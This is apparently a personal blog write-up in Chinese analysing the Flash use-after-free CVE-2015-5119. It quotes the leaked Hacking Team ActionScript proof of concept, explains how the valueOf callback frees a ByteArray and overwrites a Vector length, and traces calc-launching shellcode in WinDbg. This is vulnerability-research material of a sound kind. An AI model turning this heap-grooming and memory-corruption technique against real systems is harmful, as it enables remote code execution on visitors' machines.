实验环境
操作系统:Vmware Windows xp sp1
FLASH 版本:Adobe Flash 13
漏洞文件:Flash32_13_0_0_182.ocx
调试器:Windbg:6.12.0002.633 x86
前言
CVE-2015-5119是一个典型的UAF漏洞,Flash对ByteArray内部的buffer使用不当,从而在buffer释放后仍然保持对buffer的引用,导致攻击者可以通过构造特殊的swf文件,通过嵌入在网页中使访问改页面的人中招。
漏洞验证
在开始之前,我都会验证我拿到的poc是否会触发漏洞,这次也不例外。首先在虚拟机用IE打开exp1.swf
然后点击下面的Run calc.exe
确实可以触发漏洞,接下来就是分析漏洞成因。
漏洞分析
这个poc是从Hacking Team流出来的,里面自带swf源文件。
用Adobe Flash Professional CS5.5载入这些文件,触发漏洞的关键在MyClass.as。进入这个文件,来看TryExp1()这个函数,部分摘录如下:
static function TryExpl() : Boolean { try { var alen:int = 90; // should be multiply of 3 var a = new Array(alen); if (_gc == null) _gc = new Array(); _gc.push(a); // protect from GC // for RnD // try to allocate two sequential pages of memory: [ ByteArray ][ MyClass2 ] for(var i:int; i < alen; i+=3){ a[i] = new MyClass2(i); a[i+1] = new ByteArray(); a[i+1].length = 0xfa0; a[i+2] = new MyClass2(i+2); } // find these pages var v:Vector.<uint>; for(i=alen-5; i >= 0; i-=3) { // _ba = a[i]; //a[i]==[ ByteArray ]起始地址 // call valueOf() and cause UaF memory corruption _ba[3] = new MyClass(); //关键地方函数首先定义一个长度为90的数组a,在第一个for循环中,为数组a赋值,每赋值一次ByteArray,就赋值两次MyClass2。在第二次for循环开始,a[i]指向ByteArray,其中ByteArray长度为0xfa0。_ba=a[i]把ByteArray首地址赋值给_ba,_ba[3]=new MyClass()会调用valueOf函数,函数摘录如下:
prototype.valueOf = function () { logAdd("MyClass.valueOf()"); _va = new Array(5); _gc.push(_va); // protect from GC // for RnD // reallocate _ba storage _ba.length = 0x1100; // reuse freed memory for(var i:int; i < _va.length; i++) _va[i] = new Vector.<uint>(0x3f0); // return one byte for overwriting return 0x40; }在这个函数中,_ba.length=0x1100会导致原来_ba的空间释放掉,因为长度不等。接着程序分配很多个长度为0x3f0长度的Vector占领原来_ba的空间。而_ba还保持着对原来内存的引用,并且valueOf返回值是0x40。如果没有UAF漏洞,那么Vector占领的内存是这样的:四个字节长度+分配的空间,那么就因该是
Vector:f0 03 00 00 +内存空间。
但是_ba还保留对原来内存引用,所以_ba[3] = new MyClass(); _ba[3]等于valueOf的返回值,即0x40,0x40会写入Vector头部,变成
Vector:f0 03 00 40 +内存空间。
于是我们可以得到一个超长的vector对象。
用windbg调试swf样本:
bp Flash32_13_0_0_182!IAEModule_IAEKernel_UnloadModule+0x12eebd下断,点Run calc.exe,程序断在
0541385d ffd2 call edx {073cc7a6}跟进去
073cc7a6 55 push ebp 073cc7a7 8bec mov ebp,esp 073cc7a9 83ec08 sub esp,8 073cc7ac 895dfc mov dword ptr [ebp-4],ebx 073cc7af 8b4508 mov eax,dword ptr [ebp+8] 073cc7b2 8b4d0c mov ecx,dword ptr [ebp+0Ch] 073cc7b5 8b5510 mov edx,dword ptr [ebp+10h] 073cc7b8 8b1a mov ebx,dword ptr [edx] 073cc7ba 83e3f8 and ebx,0FFFFFFF8h 073cc7bd 891a mov dword ptr [edx],ebx 073cc7bf 8b5dfc mov ebx,dword ptr [ebp-4] 073cc7c2 83ec04 sub esp,4 073cc7c5 52 push edx 073cc7c6 51 push ecx 073cc7c7 50 push eax 073cc7c8 e87b1bcafe call 0606e348继续跟进去
0606e348 55 push ebp 0606e349 8bec mov ebp,esp 0606e34b 83c4ac add esp,0FFFFFFACh 0606e34e 53 push ebx 0606e34f 51 push ecx 0606e350 57 push edi 0606e351 648b0530000000 mov eax,dword ptr fs:[30h] 0606e358 8b400c mov eax,dword ptr [eax+0Ch] 0606e35b 8b400c mov eax,dword ptr [eax+0Ch] 0606e35e 8b00 mov eax,dword ptr [eax] 0606e360 8b00 mov eax,dword ptr [eax] 0606e362 8b5818 mov ebx,dword ptr [eax+18h] 0606e365 89d8 mov eax,ebx 0606e367 03403c add eax,dword ptr [eax+3Ch] 0606e36a 8b5078 mov edx,dword ptr [eax+78h] 0606e36d 01da add edx,ebx 0606e36f 8b7a20 mov edi,dword ptr [edx+20h] 0606e372 01df add edi,ebx 0606e374 31c9 xor ecx,ecx 0606e376 8b07 mov eax,dword ptr [edi] 0606e378 01d8 add eax,ebx 0606e37a 813843726561 cmp dword ptr [eax],61657243h 0606e380 751c jne 0606e39e 0606e382 81780b73734100 cmp dword ptr [eax+0Bh],offset iexplore!_NULL_IMPORT_DESCRIPTOR <PERF> (iexplore+0x17373) (00417373) 0606e389 7513 jne 0606e39e 0606e38b 8b4224 mov eax,dword ptr [edx+24h] 0606e38e 01d8 add eax,ebx 0606e390 0fb70448 movzx eax,word ptr [eax+ecx*2] 0606e394 8b521c mov edx,dword ptr [edx+1Ch] 0606e397 01da add edx,ebx 0606e399 031c82 add ebx,dword ptr [edx+eax*4] 0606e39c eb09 jmp 0606e3a7 0606e39e 83c704 add edi,4 0606e3a1 41 inc ecx 0606e3a2 3b4a18 cmp ecx,dword ptr [edx+18h] 0606e3a5 7ccf jl 0606e376 0606e3a7 8d45f0 lea eax,[ebp-10h] 0606e3aa 50 push eax 0606e3ab 8d7dac lea edi,[ebp-54h] 0606e3ae 57 push edi 0606e3af 31c0 xor eax,eax 0606e3b1 b911000000 mov ecx,11h 0606e3b6 f3ab rep stos dword ptr es:[edi] 0606e3b8 c745ac44000000 mov dword ptr [ebp-54h],44h 0606e3bf 50 push eax 0606e3c0 50 push eax 0606e3c1 50 push eax 0606e3c2 50 push eax 0606e3c3 50 push eax 0606e3c4 50 push eax //eax==0 0606e3c5 e809000000 call 0606e3d3 //返回地址指向calc.exe跟进去
0606e3d3 50 push eax 0606e3d4 ffd3 call ebx //CreateProcess 0606e3d6 5f pop edi 0606e3d7 59 pop ecx 0606e3d8 5b pop ebx 0606e3d9 c1e003 shl eax,3 0606e3dc 83c006 add eax,6 0606e3df c9 leave 0606e3e0 c3 ret流程很清楚了吧,当然我分析的还不够详细,如果感兴趣,可以更深入的分析它。
总结
这是我分析的第一个flash漏洞,感觉收获还是挺大的,虽然还有很多疑惑,我相信在分析多几个,熟悉了就简单了。还是要多练。。。